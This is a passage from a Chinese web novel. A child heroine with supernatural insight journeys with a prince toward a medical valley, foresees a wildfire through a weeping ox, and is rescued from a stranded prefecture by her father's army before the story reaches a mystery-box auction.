墨长庚翻了个白眼:“我是神医,但不是百草!我要是有,早给他用了。”
郭太医抱着最后一丝期望:“小小姐,您可有什么法子?”
团团拧着眉想了想,认真地摇了摇头:“我没有。”
突然,她眼睛一亮:“娘亲!救了大哥哥的珠子呢?”
程如安顿时也想起来了:“对!对!那颗夜明珠!来人!快去静兰苑,把装着铜灯的盒子拿过来!”
“是!”刘嬷嬷正在外面候着,应了一声,片刻后便取了回来。
团团找到机关,拔开铜灯一看,小脑袋耷拉了下去,夜明珠救了萧宁远后便失去了光彩,如今依旧灰暗。
“不行啊!珠子还没睡醒呢。”
众人的眼神皆是一暗。
急急将她唤回,是存了一丝这孩子或许有什么办法的指望,没想到……
团团抬头看向神医:“神医爷爷,那个什么‘九清灵叶’哪里能买到啊?”
墨长庚苦笑一声:“买?怎么可能!那‘九清灵叶’是圣医谷镇谷之宝之一,只能去求,买是不可能买得到的。”
“那还等什么?”团团抬起小脑袋,不再蔫头耷脑,“咱们这就去圣医谷,把叶子拿回来!”
“你怎么能去?不可啊!”程如安脸色发白,一把将拉进怀里,“圣医谷路途遥远,你才多大,如何能去那般险地!”
“娘亲,”团团在她怀里转过身,一张小脸上满是认真,“要不是汪叔叔的玉骨哨,我早就被坏人抓去大夏啦!”
“现在他躺在这里,我当然要去啦!”
程如安虽知她所言有理,却仍旧难舍万分,紧紧地搂住女儿,下意识望向了丈夫。
萧元珩沉吟片刻,伸出一只大手按在闺女小小的肩膀上:“知恩图报,不愧是我萧元珩的女儿!去吧,明日便起程,爹爹准了!”
墨长庚立刻接口,拍着胸脯:“二位请放心,老夫定会看护好我的徒儿!”
团团立刻冲他皱了下小鼻子:“我才不是你的徒儿呢!”
墨长庚一张老脸上顿时垮下,露出了几分委屈巴巴的神色。
门外下人禀告:“王爷,七殿下到访,说是要见小小姐。”
“大三哥来了?我去看看他啊!”团团跑了出去,屋内几人互相看了一眼,七殿下来干嘛?
团团跑到前厅:“大三哥!我不能跟你出去玩啦,我明日要去圣医谷!”
萧泽挑眉:“你?去圣医谷作甚?你的兄长们如今都不在,谁陪你去?”
“神医爷爷啊!我的叔叔中了很厉害的毒,要去那里找个很厉害的叶子才能治好他。”
萧泽看着她,眸色微动,从袖中取出一张银票递过去:“这是陈浩托我转交的一万两银票,谢你的救命之恩。“
“他说他现在腿伤未愈,待大好后再亲自登门致谢。”
“他还是去烧香了?
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”
萧泽无奈地点了点头:“也不怪他。他府中修缮佛堂,他这个长子必须执首炷香以全礼数。”
“好在他记着你的话,未将香点燃。”
“他上前敬香时恰巧房梁断了,正砸落在他跪拜之处。”
“若当时香火已燃,梁木卷着帷幔,压在他身上,必死无疑。”
团团点了点头,坦然接过银票,塞进了自己的小荷包里。
萧泽告辞离去。
当晚,她便将谢云舒给的两万两银票、三万石粮草的粮帖,连同萧泽送来的一万两银票,一齐交给了萧元珩。
“爹爹!这是点心姨姨和陈浩给我的,送给爹爹!”
萧元珩看着闺女小手中这一大笔财富,惊讶得一时竟说不出话来。
他正在发愁的军饷和粮草这就有了?
“好!好闺女!”他朗声大笑,将女儿高高举起,“你可是帮了爹爹的大忙!”
团团搂着父亲的脖子,骄傲地扬起了小下巴:“爹爹,我厉害吧?”
“厉害!太厉害了!”萧元珩把她高高抛起,又稳稳接住。
团团咯咯咯地笑得开心极了。
次日清晨,府门外。
程如安泪眼婆娑,给女儿再一次整理好衣裳和头发,千般叮咛,万般不舍:“在外面一定要好好吃饭啊,冷了记着添衣服,别着凉啊。”
团团拉着她的手放在脸上贴了贴:“知道啦,娘亲!你放心吧!”
萧元珩沉声嘱咐萧二:“路上务必谨慎,定要护团团周全。”
萧二站直身子:“是!定不负王爷所托!”
墨长庚却在一旁眉飞色舞,盯着团团的眼睛精光四射。
期待着此行能和团团增进感情,将她骗成自己真正的徒儿。
众人依依惜别,正要起程,却见三匹骏马疾驰而来。
“吁——!”
萧泽勒马停下,一身利落的常服,身后带着两名精干的侍卫。
他目光越过众人,直直落在团团身上,唇角微扬:
“圣医谷路远,我陪你去。”
第128章 他不是偷懒
“七殿下?”众人皆惊。
“大三哥!你陪我一起去?”团团开心地跑到了刚下马的萧泽身边,拉起他的手。
萧泽低头看她,柔声道:“对啊,路那么远,我不放心你。”
他领着团团来到萧元珩夫妇面前行礼:“请放心,此行一路有我,定不会让团团有任何不妥。”
萧元珩看着他:“可有同陛下禀明?”
萧泽微微一笑:“自然,昨日我登门时,听到团团说要去圣医谷求药,回宫后便禀告了父皇。”
“父皇也不放心团团,见我毛遂自荐想同去,便恩准了。”
萧元珩点了点头:“既如此,有劳你了。”
程如安心下稍松,七殿下是皇子,有他在,想必诸事也能更顺:“有劳七殿下费心。”
众人依依惜别。
马车晃晃悠悠行驶在官道上。
团团活像一只囤食过冬的小松鼠,从程如安给她带上的包袱里掏出肉干、果脯,先塞给正襟危坐、眼神却时刻追随她的萧二几块,又扭头递给一旁含笑注视着她的萧泽几块。
“属下不饿,多谢小姐。”萧二嘴上推辞,手却稳稳地接住了。
萧泽也接了过来:“就爱吃你给我的。”
呸!花言巧语!就会哄我家小姐!萧二嘴角一撇。
萧泽冲着他挑了一下眉毛,怎么了?团团就是跟我亲!你看不惯又如何?
坐在角落闭目养神的墨长庚眼睛掀开了一条缝,哼了一声。
“神医爷爷你没睡着啊!”团团立刻抓了块最大的蜜饯,塞进了他的嘴里。
“好徒儿!果然晓得孝敬师父!”墨长庚顿时眉开眼笑,嚼得津津有味。
团团送了他一个白眼,都懒得反驳了,自顾自爬回座位,抱着包袱便啃了起来。
几个时辰后,原本行驶平稳的马车猛地一顿,停住了。
团团“哎呀”一声,小身子因着惯性直直地往前栽去。
两只臂膀同时伸出,将她捞了回来。
萧二看了一眼萧泽,没再计较他的手臂还揽在自家小小姐的肩上。
身形如闪电般掠出了马车,稳稳立在车辕上,向前张望。
“怎么回事?”萧泽沉声问外面骑马随行的侍卫。
侍卫立即回禀:“公子,前方路被堵住了,还**了不少人。”
“去看看!”
“是!”侍卫闻声而动,向人群而去。
片刻后回转:“公子,前方官道中间,趴着一头耕牛,挡住了去路。”
“牛?我要去看看。”团团好奇心起,挣开萧泽的手臂就要往下跳。
“等等!我与你同去。”萧泽拉住她,自己先钻出了马车,回身将团团抱了出来。
车辕上的萧二见团团出来了,迅速跟上,和萧泽一左一右地护在团团身边,穿过了闹哄哄**的人群。
“怎么回事?那牛怎么了?”
“不知道啊!我成天赶路,什么没见过!头一次被一头牛堵在路上!”
“喂!老头儿!你家的牛吗?赶紧拉走啊!”
“就是啊!我们都急着赶路呢!”
“那牛肯定是偷懒不想走了!”
“畜生偷懒还不好办?打啊!”
团团走到了最前,只见一头体型硕大的老黄牛趴卧在地,任凭旁边一个满面愁容的老农如何拉扯缰绳、软语哄劝,都纹丝不动。
老农急得声音都变了调:“你这倔牛!快起来啊!挡了官道,咱们可吃罪不起啊!”
“吃罪不起就赶紧把这畜生弄走!好狗不挡道,你跟你这蠢牛都活腻味了吗?”
一道嚣张的声音从人群后响起。
众人回头,只见几名家丁簇拥着一个衣着华丽的年轻人挤开人群走了过来。
他嫌弃地瞥了一眼沾在鞋上的尘土,手里的扇子掩着口鼻。
“韩,韩鹏飞…韩少爷!”老农看见他,脸顿时就白了,他常年在此处行走,深知在这济阳府的地界,得罪了这位知府的公子,跟找死没区别。
团团皱了皱眉,目光落在老黄牛身上,迈开小短腿便
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要走过去。
两只手同时伸了过来,一左一右拉住了她的小胳膊。
“小姐,畜生伤人。”萧二一脸紧张。
“团团!不可贸然近身。”萧泽也微微蹙眉。
团团无奈地叹了口气:“没事啦,它不会伤我的。”
她轻轻甩开两人的大手,走到老牛面前。
一只嫩白幼小,堪堪只能遮住牛眼的小手,毫不犹豫地抚上了老牛粗糙的额头。
“你怎么啦?生病了吗?还是走不动了?”她轻声问,声音软软。
老黄牛抬起沉重的头颅,一双温润浑圆的大眼望向她,眼眶里迅速积蓄起水光,下一刻,豆大的泪珠竟扑簌簌地滚落下来,打湿了地上干燥的黄土。
“老天爷!牛哭了!”人群顿时爆发出一阵惊呼。
“这头牛还会掉眼泪呢!”
“什么?牛掉眼泪?新鲜!我看看!”人群向前方挤了过来。
“老伙计,你……你这是咋了?”老农也惊呆了,一脸茫然地看着陪伴自己多年的老黄牛。
团团的小手一遍遍抚摸着老黄牛的大脑袋,轻轻给它擦拭着脸上的泪水。
老黄牛温润的大眼睛里映出她小小的身影,深深地看着她,喉咙里发出几声低沉而绵长的哞叫。
“哞——哞呜——”
像一个沧桑的老者,在不停地诉说着什么。
韩鹏飞满脸不耐烦:“还不赶紧滚开!你个蠢牛!要叫一边叫去!别挡本少爷的道!”
团团瞪了他一眼。
这个坏蛋怎么这么讨厌!
她低下头,凑得离老黄牛更近,片刻后,了然地眨了眨眼。
“明白啦!你放心吧!”
她站直了身子,看向一旁的老农:“你对它很好哦!”
老农手足无措地看着她:“这牛在我家十几年了,一直跟着我。”
团团点了点头:“难怪啦!老伯,你好有福哦!”
“它不是病了,也不是偷懒。”
“它趴在这里,是在救你的命呢!”
第129章 有的是银子?
“前面有危险,不能过去哦!”
她话音刚落,周围人顿时一片哗然。
连萧二都忍不住和萧泽对视了一眼。
“前面有危险?真的假的?”
“不能吧,这官道我天天走,昨日明明还好好的!”
“难道这牛真的通人性?”
“不好说,不好说,你们谁见过牛掉眼泪?”
“那咱们今儿还赶不赶路了?”
众人将信将疑,议论纷纷。
老农看了一眼团团,又看了一眼老黄牛,也是半信半疑。
犹豫了半晌后,他一跺脚:“罢了!老伙计,我信你,也信这个小姑娘!咱们今天不走了!”
他此言一出,那趴在地上半步不让的老黄牛,竟真的晃晃悠悠地站了起来,还用大脑袋亲昵地蹭了蹭老农的手臂。
周围一片惊呼:“神了!真神了!”
“这牛当真能听懂!”
“看来这小姑娘说的怕是不假!”
“咱们也别走了!”
“是啊是啊!不就是晚上一日嘛,总比丢了性命强!”
韩鹏飞嗤笑一声,用扇子指了指众人:“你们这群愚民!竟信一个黄毛丫头的满口胡言?本少爷偏不信这个邪!”
团团一听,笑得一脸灿烂,拍着两只小手:“好啊,好啊!好有胆子啊!”
“你去吧,没人拦着你。正好帮大家去看看,前面到底有没有危险,快去啊!”
萧泽和萧二闻言笑着看了眼团团,这个小家伙!
所有人的目光全落在韩鹏飞身上。
他身后家丁低声劝阻:“少爷,还是算了吧,犯不着以身涉险啊。”
韩鹏飞哼了一声:“怕什么!咱们走!”转身便向前走去。
他硬着头皮走了几步,骑虎难下,可看着前方空无一人的官道,心里直发毛,终究还是没那个胆量,灰溜溜地退了回来,惹得众人一阵哄笑。
“你!你们给本少爷等着!”韩鹏飞狠狠剜了团团和萧二他们一眼,在众人的讥讽嘲笑声中,带着家丁们面红耳赤地走了。
眼看日头偏西,一行人便改道去了最近的济阳府城,寻了间干净的客栈落脚。
墨长庚想了想:“既是不急着赶路,老夫正好去拜访一位隐居的老友,顺道打听一下圣医谷的近况。好徒儿,咱们谷中再会。”
“知道啦神医爷爷!”团团挥了挥小手,“路上要小心哦,快点儿回来找我们!”
墨长庚被她这句关心熨帖得浑身舒坦,哈哈大笑着离开了。
安顿好后,团团便兴致勃勃地拉着萧泽和萧二逛起了府城最热闹的大街。
她看什么都觉得新鲜,一会儿指着糖饼:“我要吃!”一会儿又望着刚出笼的包子:”尝尝?”身边两人自然无有不应。
正逛得开心,前方突然呼啦啦涌出一群人,挡住了去路。
为首的,正是才刚在官道上见过的韩鹏飞。
“就是你们!害得本少爷今日颜面尽失!打!给我往死里打!”他咬牙切齿地指着团团几人。
萧泽眉头微蹙:“光天化日,当街行凶,这济阳府是没有王法了吗?”
韩鹏飞昂着脖子,气焰嚣张:“在这济阳府,我韩家便是王法!”
这话让团团顿时想起了慕容齐,她小大人似的叹了口气:“大三哥,坏蛋怎么说的话都差不多哦,就没两句新鲜的吗?”
萧泽闪过一丝笑意,随即对身后侍卫使了个眼色。
两名侍卫如虎入羊群,三拳两脚便将那群乌合之众放倒在地。
团团走到被吓呆了的韩鹏飞面前:“我们救了你的命,你还要打我们?”
“二叔叔,”她回头喊了一声,“揍他!”
韩鹏飞只觉眼前一花,萧二已到眼前,他“哎呦“了一声,肚子上挨了重重一拳。
萧二拳头落下,觉出触感不对,伸手扯开他的外裳,一件金光闪闪、编织细密的软甲便露了出来。
“金丝软甲?”萧二一愣,厉声问道,“此等宝物,你从何得来?”
“金丝软甲?”团团好奇地问道,“那是什么呀?”
萧泽给她解释:“是一种极为珍贵的护身宝甲,编织工艺特殊,穿上后,寻常刀剑难以伤及。”
他看着韩鹏飞:“此物你从何而来?”
韩鹏飞虽然落单,但
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见他们穿着普通,虽然带着随从,不过也就是寻常富贵人家,依旧半点不怕:“关……关你屁事!我是知府之子!这是我爹重金给我买的!”
团团看向萧泽:“大三哥,他说他爹是知府,知府也要打仗吗?”
萧泽摇了摇头:“知府治理一方百姓,是文官,不用打仗。”
团团地指着韩鹏飞:“你爹又不打仗,买这东西干嘛?给你穿在身上,欺负好人吗?”
韩鹏飞反唇相讥:“你管得着吗?我爹有的是银子!愿意给我买!用得着你这个小丫头片子来多管闲事?”
萧泽脸一沉:“一个知府,有的是银子?”
团团闻言立刻对萧二道:“二叔叔,把他身上这个‘乌龟壳’扒下来!再揍!”
“是!”萧二毫不犹豫,利落地将软甲剥下,扔给侍卫,侍卫转身便递给了团团,团团玩着这从没见过的稀罕物,爱不释手。
萧二的拳头如同雨点般落在韩鹏飞的身上,这次是结结实实打在了皮肉上,惨叫声顿时响彻了整条街道。
周围旁观的百姓们无不拍手称快。
“打!使劲打!早就该打!”
“让他平日蛮不讲理!”
“这回老实了吧!”
显然都对韩鹏飞积怨良久。
“住手!何人敢在济阳府当街行凶!”一声怒喝传来。
只见一名穿着官服、体型富态的中年男子,带着大队官兵急匆匆跑了过来。
他一眼便看到了被人打得鼻青脸肿的韩鹏飞,顿时怒火中烧,指着团团几人:“放肆!本官是济阳府知府韩腾!尔等胆敢在我济阳府罔顾法度,当街行凶?!统统给我拿下!”
萧二松开了手,韩鹏飞连滚带爬地跑到父亲脚下:“爹!你看他们把我打的!疼死我了!爹!把他们全都抓起来,狠狠问他们的罪!”
萧泽看了侍卫一眼,侍卫上前一步,掏出一块令牌亮在韩腾眼前。
韩腾漫不经心地瞥了过去,待看清那令牌上的字样与纹路,双腿一软,直接瘫倒在地。
他猛地跪直了身子,接着便不停地磕头:“下……下官参见七殿下!”
第130章 你们快来啊
韩腾这一跪一嚎,如同冷水滴入了滚油,围观的百姓瞬间炸开了锅。
“七殿下?皇子殿下?!”
“我的老天爷!我头一次看见皇子!”
“谁不是啊!皇子怎么来了咱们济阳府?”
皇子?已经被萧二揍成猪头的韩鹏飞,此刻已忘了喊疼,眼珠子瞪得几乎就要脱眶,脑子里只剩下两个字,完了。
萧泽俯视着韩腾:“韩大人,你好大的官威啊。”
韩腾后背的官袍瞬间被冷汗浸透,伏在地上,牙齿咯咯作响:“下官不敢!下官有眼无珠,冲撞了殿下,罪该万死!”
团团看了眼手里的金丝软甲:“这个是你家的?”
韩腾急忙回道:“是!是下官的家传……”
“传你个鬼!”萧二没好气地打断了他,“你家祖上是武将吗?还是江湖门派?怎么可能有这样的家传?”
韩腾此时还不知道自己早就被儿子卖了,嘴唇哆嗦着,还想继续狡辩。
正在此时,天空中“咔嚓——!!!”一声巨响。
一道惨白的电光,毫无征兆地撕裂了干热沉闷的黄昏,将所有人的脸照得一片煞白。
“轰!!!”
又是一声巨雷,震得人耳膜嗡鸣,脚下的地面都似乎在颤抖。
众人全都被这晴天霹雳吓得缩了缩脖子,惊慌一片。
“什么声音?”
“发生什么事了?”
“要下雨了吗?”
团团仰起头四处张望,小手一指,大声喊道:“看那里!”
所有人都向她指着的地方望去。
只见远处的山巅上,烈焰正腾空而起!
原来是刚才的雷火劈中了山林,连日无雨,干燥的草木瞬间被点燃,火借风势,眨眼便烧红了半边天!
“着……着火啦!”有人失声尖叫。
“天哪!幸亏那老黄牛挡着路,我们没往前走!”
“我也是!要是没停下,这时候刚好走到那着火的地方!”
“就是这个小姑娘说的,那老黄牛是在救那老汉的命!”
“竟然都是真的?”
所有人的目光,都齐刷刷的看向了团团。
萧泽摸了摸团团的头:“多亏了你,团团。”
萧二用力点头,我家小小姐就是厉害!
不知是谁先带的头,“噗通”一声跪了下来。
“多谢小小姐救命之恩!”
“多谢小小姐!多谢神牛啊!”
“是小仙童!是小仙童救了我们啊!”
望着那冲天的火光,韩鹏飞目瞪口呆,韩腾脸色煞白。
萧泽深吸了一口气:“来人!”
“属下在!”两个侍卫立刻上前一步。
“持我令牌,即刻接管本地府衙!”
“全力组织人手,防止山火蔓延!”
“立刻清查官道损毁情况,速来回报!”
“是!”
萧泽冰冷的目光这才落回到瘫软的韩腾身上:“萧二!”
萧二毫不含糊:“末将在!”
“将他父子二人即刻收押,查抄府邸,以待审决!”
“是!”萧二拖起二人,向府衙方向走去。
萧泽转向百姓们,扬声道:“诸位乡亲,官道受损,情况未明,大家暂且安心在此等候消息,切勿慌乱,一切自有朝廷安排!”
“多谢殿下!”
有萧泽这个皇子在,瞬间便稳住了浮动的人心。
约莫一个时辰后,夜色初降,两个侍卫去而复返,脸色沉重。
跟着他们回来的,是一个满身尘土,穿着官服、嘴唇都干裂到爆皮的驿丞。
“殿下!官道被山火引发的塌方彻底阻断,绵延数里,短期内绝无通行可能!”
“此地官道前后都是险峻山路,如今中间这段一断,这济阳府可就成了绝地啊!”
萧泽面色严峻:“萧二!府衙情况如何?”
萧二摇了摇头:“那父子俩金银不少,存粮却不多,仅能支撑不到十日。若官道不通,粮食迟迟不能运到,恐将大乱!”
萧泽脸色骤变。
他原以为只是路断了,绕行或抢修便是,万万没想到,自己所在之地,转眼便将成为人间炼狱!
萧泽紧盯着那驿丞:“可还有别的路径通往外界?哪怕是樵夫猎户走的小路!”
驿丞仔细思索,眼睛一亮:“有倒是有!北面山上有一条小道,这里人称之为‘鬼见愁’。”
“是以前药农们采药时走过的,十分凶险,要从悬崖边绕过去才行。”
“可那条道,已经很多年都没人再走了,实在是,脚下就是万丈深渊,一不小心便尸
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骨无存啊!”
“再说了,就算能成功出去,那条小路也根本带不回粮食啊!”
众人刚升起的一点希望,瞬间熄灭。
也就是说,即使有人能冒险出去送信,但救命的粮食却进不来,依然要被困在这里等死。
萧二上前一步:“殿下,末将愿去走那‘鬼见愁’!一人一剑,轻装简行,必在三日之内,将消息送至京城!”
萧泽看着他,眼眶微热。
他知道,萧二这是在用自己的性命去搏那仅存的一线生机。
他重重一拍萧二肩膀,千言万语只化作一句:“活着回来!”
“是!”
萧二拿起令牌,对萧泽道:“七殿下,小小姐便交给您了。“转身便要走。
“二叔叔!”团团喊住了他。
萧二回过身来,蹲在她的面前:“别担心,小小姐,我一定能活着回来!”
团团从荷包里翻出一颗星宿流珠递给他:“这是道长爷爷给我的珠子哦!二叔叔你带上,早点儿回来啊!”
萧二接过念珠,仔细地放在怀里,冲着团团点了点头,转身离开。
萧泽想了想,不能干等救援:“援军未到之前,所有人,统一分配口粮!”
“组织青壮,全力抢修官道!胆敢煽动骚乱者,立斩!”
“是!”两个侍卫领命而出。
三日后,御书房。
萧杰昀接到消息,手一抖,茶盏摔得粉碎。
“济阳府已成绝地,粮道断绝,数千百姓命悬一线,老七和团团被困其中!”
萧杰昀眼中瞬间一片骇人的猩红:“快!传朕旨意去宁王府!”
“命宁王带领京郊大营的兵马,给朕用最快的速度赶过去!”
“把老七和团团,平平安安地给朕带出来!”
圣旨来到宁王府。
程如安直接晕了过去。
萧元珩一把抱住妻子,将她交给刘嬷嬷:“好生照料。”
整个人如同一柄出鞘的利剑:“萧二!”
“末将在!”
“去京郊大营!点齐兵马,带足**,工械和粮草!”
“是!”
团团望着远处官道上连夜赶工、如同蚂蚁般数量众多却渺小的人群,小眉头皱得紧紧的。
“爹爹,二叔叔,你们快来啊!”
第131章 咱们去玩玩吧
京郊大营。
萧元珩望着校场上黑压压的兵士们,朗声道:“济阳府山火,以致山体坍塌,我的女儿现在困在了那里,快没饭吃了。”
肃穆无声的校场,瞬间炸开!
“王爷!下令吧!末将愿为先锋!”张武安第一个冲出来,急得双眼通红。
李老三捶着胸膛,声如洪钟:“王爷!俺这条命是您给的!小姐叫俺一声叔,俺就是用牙啃,也给小姐啃出一条路来!”
方青上前一步:“俺也是!”
“王爷——!”
请战之声如山呼海啸。
那些曾被团团软软地唤过“叔叔”的汉子们,一个个攥紧了拳头,脖颈上青筋暴起。
萧宁辰和萧二彼此对视了一眼,王爷的这些部下,是将团团看成了自家的孩子啊!
萧元珩目光扫过这一张张激愤的面孔,拔出佩剑,直指济阳府方向,声裂长空:“全力开拔!”
“吼——!”
济阳府,气氛已压抑到了极点。
最后一点米粮即将见底,萧泽不得不下令开始煮食树皮草根。绝望像瘟疫一样蔓延开来。
团团安静地坐在府衙门口的门槛上,小肚子饿得咕咕叫,但她没哭没闹,只是小声念叨了一句:“爹爹和二叔叔就快来啦!”
百姓们人心浮动,议论纷纷。
“朝廷真的会派人来救咱们吗?”
“不会是骗咱们的吧?”
“咱们大人还能啃树皮子,老人和娃们不行啊!”
就在人心即将彻底崩溃的时候
“轰!!!”
一声地动山摇的巨响,从官道方向传来!
烟尘冲天而起。
紧接着,无数兵士悍然闯了出来。
萧元珩一马当先,战甲蒙尘,煞气冲天。
他策马穿过飞扬的尘土,直奔济阳府衙。
“有人过来啦!”
“朝廷真的派人过来啦!”
“我们有救啦!”
百姓们欢声雷动。
萧元珩来到府衙门口,一眼便看到了那个坐在门槛上的小身影。
他飞身下马,一把将女儿死死捞进怀里。
“爹爹!”团团将小脸埋进父亲的脖颈里:“我就知道!你一定会来的。二叔叔呢?他还好吗?”
萧元珩喉结滚动,千言万语化作一声沙哑的:“好。”
萧宁辰紧随其后,也已大步赶到。
“团团,吓着没有?”
“二哥哥!”团团眼睛更亮了,冲着他一伸小胳膊,“二哥哥,你的腿疼不疼?跑这么远过来。”
萧宁辰急忙将她接过来,抱在了怀里,眼眶微红:“二哥的腿早就全好啦!放心吧!你可把二哥哥急坏了。”
萧泽也到了,从怀里掏出一个小油纸包:“小小姐!你饿不饿?我給你带了点儿吃的!”
萧元珩夸了一句:“不错!”
萧宁辰眯着眼睛斜了萧二一眼,这个臭小子!难怪父亲让他跟着团团,还行嘛。
萧泽赶了过来:“宁王!辰兄,辛苦你们了。”
萧元珩落在他身上的眼神,多了几分审视与认可,微微颔首:“七殿下辛苦了。”
“此地情形,萧二已告知本王,殿下处置得宜,稳固大局,功不可没。”
萧泽谦逊回礼:“宁王言重了,此乃我分内之事。”
大军将被炸开的通道口拓宽,押运着粮车源源涌入。
而这些兵士的目光,无不都在四处搜寻,直到看到了被萧宁辰抱在怀里,完好无损的小团子,那一张张狰狞的面孔,才齐刷刷地松弛了下来。
团团抬起小脑袋,大眼睛看着他们,一脸惊喜,扬起小手,不停挥舞,用尽力气大喊道:“张叔叔!李叔叔!方叔叔!好多叔叔啊!你们都来啦——!”
张武安、李老三,方青等人浑身猛地一僵。
一群刀砍斧劈都不皱眉的汉子,眼眶瞬间通红。
他们挺直脊梁,声音响亮,齐声吼道:
“我们都来啦!小姐!”
萧宁辰抱着妹妹,目光扫过父亲这些忠诚的部下,默默点头,果然,军队便是如此,人心齐,泰山移!
萧元珩从儿子手里将女儿抱了过来:“卸下全部粮食,张贴安民告示,給百姓们发放三日的口粮,其余造册登记,另行分发。”
“清理此地,统计伤亡。疏通官道,官道沿线安设滚木沙袋和水囊防止二次塌方。”
“收集赃物罪证,将韩氏父子押解回京。”
“是!”萧宁辰领命,转身离去。
“爹爹,汪叔叔还好吗?”
“郭太医日日都给他施针,暂时没大碍。”
“走!爹爹带你先去吃顿饱饭!”
小肚子终于塞饱了后,团团把自己藏起来的金丝软甲拿了出来,献宝一样捧給了萧元珩:“爹爹!这是二叔叔从那个坏蛋身上扒下来的,你穿上好不好?”
“大三哥说,穿上这个,能刀枪不入呢
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!”
萧元珩看着女儿的小模样,眼眶瞬间湿润,郑重收起:“好闺女!爹爹一定穿上。”
两日后,大军将官道彻底疏通,父子俩和团团依依惜别,踏上了返京之路。
团团一行人登上马车,全速向圣医谷赶去。
暮色渐合,马车驶入了栾城。
此地距离圣医谷只有半日路程,歇一晚,明日起程,中午时分正好抵达。
走进一家看起来最整洁的客栈,萧二道:“掌柜的,三间上房。”
柜台后胖胖的掌柜抬起头,露出一张圆滑的笑脸,满脸歉意:“哎呦,几位客官,实在对不住!上房只剩两间了。”
萧泽眉头微蹙,“我们可以加钱。”
胖掌柜腰弯得更低了,苦着脸道:“贵人,真不是钱的事儿啊!”
“您瞧瞧这满堂的大爷们。”他悄悄指了指店里坐着的那些看似闲聊,眼神却异常锐利的江湖客,“都是奔着‘那事儿’来的,小店实在是一间也腾不出来了啊!”
这小地方怎么来了这么多江湖人!
萧二看了一眼那些人:“掌柜的,若有人退房,我们房钱照付。”
胖掌柜脸上的难色更甚:“这位公子,实不相瞒,别说客房,小店连柴房都住满了!若不是这上房价高,根本留不到今日!毕竟,天机阁的猜秘匣盛会,今晚就在这栾城举行……”
“猜秘匣?”团团抬起小脑袋,一双大眼睛亮得惊人,“那是什么啊?”
胖掌柜压低了声音,开始八卦:“这位小姐年纪小不懂,你们几位难道不是冲着这事儿来的?”
团团一行人都穿着寻常服饰,胖掌柜显然把他们也当成了江湖人。
“天机阁的猜秘匣盛会,阁主会将亲自搜罗来的宝物都放在秘匣之中公开摆出来。”
“明码标价,先到先得,谁也不知道里头装的是什么神仙宝贝!”
“看中了就可以买下,但必须当场打开,是亏是赚,全凭眼力和运气,刺激得很呐!”
“三年才一次啊!所以您瞧,我们这小小栾城,都快让江湖上的好汉们给挤爆喽!”
“有点儿意思。”萧泽微微一笑,“既如此,那两间上房我们要了。”
“好嘞您讷!”
众人来到客房,萧泽和萧二带着团团住一间,两个侍卫住另一间。
团团拉起两人的大手:“大三哥!二叔叔!咱们晚上去那个猜秘匣盛会玩玩吧!”
第132章 你算计我
当晚,栾城中心的空场上,灯火辉煌,人山人海。
数张铺着锦缎的长桌整齐排列,上面陈列着无数形态各异的匣子。
木头的、黑铁铸的、甚至还有粗陶的,材质不同,大小不一,唯一的共同点是,全都严丝合缝,窥不见内里分毫。
每个匣子下方都压着一张纸,上面明码标价,任人挑选。
规则简单粗暴:看中,付钱,当场开匣。
是开出惊世奇珍,还是赔得血本无归,全凭自身的眼力与运气。
每当有人买下了秘匣,一个青衣人马上便会过来,亲手将秘匣开启:
“西域寒铁匣,纹银三百两!”
“前朝楠木匣,纹银五百两!”
惊呼与叹息此起彼伏,交织成一曲跌宕起伏的众生相。
“哈哈哈!百年血参!赚了!”
“唉!赔了,就是块顽铁,不值这么多钱!”
萧泽和萧二领着团团,挤在人群中。
忽然,团团脚步一顿,停在了一个其貌不扬的木匣前,小手一指:“我要这个。”
话音刚落,另一只保养得宜、戴着一只玉扳指的小手,按在了那个木匣上。
“这个匣子,我要了。”
团团抬起头,只见一个身着云锦华服、头戴玉冠的小男孩,不知何时已站在了对面。
他年纪约莫六七岁,容貌精致,两道眉毛正中有一颗明显的红痣,眼神倨傲,身后还跟着一名膀大腰圆的护卫。
他好奇怪啊!身上怎么什么气运都有,乱七八糟的!
团团眉头一皱,小手并没有放下:“是我先看中的哦!”
男孩语气轻蔑:“你先看中?付钱了吗?天机阁的规矩,钱货两清才算数。姜信,付钱。”
“是。”姜信立刻上前。
“慢着。”萧二挡在姜信身前,“阁下莫非不懂何为先来后到?”
“先来后到?”男孩像是听到了什么笑话,唇角不屑地勾了一下,扫了一眼面前三人,一脸势在必得的轻慢,“我看上的东西,从来就没有得不到的!这个匣子,归我了。”
“你讲不讲理?”萧二寸步不让。
双方僵持不下,引来了周围人的注目。
一名青衣人快步走来。
“几位贵客,可是看中了同一秘匣?”
男孩抢先开口,指着团团,倒打一耙:“是我先看中的,这丫头胡搅蛮缠,不肯放手。”
团团气的腮帮子都鼓了起来:“你胡说!明明是我先看中的!”
青衣人的目光在两人之间转了转,心中明了:“既如此,按规矩,二位可自行协商。”
“若协商不成,此匣便只能由本阁收起,暂不售出了。”
男孩一听,怒目圆睁,狠狠瞪了团团一眼。
哪来的野丫头!居然敢跟我抢?
他眼珠一转,脸上露出一抹挑衅的冷笑。
“既然你我都想要,口舌之争又有什么意思?”
他低头看了一眼秘匣的标价,白银二百两。
大声喊道:“我出四百两!”
他斜了一眼团团:“你有吗?”
萧泽冷冷地开口:“六百两。”
男孩面露惊讶,正视了萧泽一眼。
这人穿着虽普通,却贵气非凡,身份不一般啊,难怪能跟我争。
贵气?能贵得过我吗?
他哼了一声:“一千两!”
青衣人皱了皱眉:“二位这是在协商?”
男孩撇了他一眼:“怎么?天机阁的规矩不准吗?”
青衣人面上不悦,却也没有阻拦:“并无规定不可。”
萧泽面色不变:“两千两!”
周围的人开始窃窃私语。
“还能这样吗?”
“这叫什么?拼谁的荷包鼓吗?”
“真没见过这样的!看来这两边,都是有钱人啊!”
男孩眼睛都没眨:“三千两!”
萧泽刚想再张口加价,团团拉了拉他的衣袖:“大三哥,让给他吧,我不要了。”
萧泽瞄了男孩一眼,俯下身子:“团团,不用担心银子,大三哥定给你买下这个匣子!”
团团把他拉向自己,在他耳边轻声道:“不加啦!大三哥,他已经赔啦!”
萧泽一怔,站起身:“我妹妹说了,既然你那么想要,让给你了。”
男孩得意地吩咐:“姜信!付账!”
青衣人看了双方一眼,上前一步,将三千两银票收起,拿出手中账册勾画了一笔:“此匣成交!三千两!”
伸手将木匣打开。
众人都伸着脑袋张望,想看看这引起一番风波的秘匣中究竟是什么宝物。
只见匣子里,躺着一支品相极佳,粗如儿臂的百年老山参。
众人哄笑。
“唉哟,百年老山参!是个好东西,可顶天儿也就值一千两!”
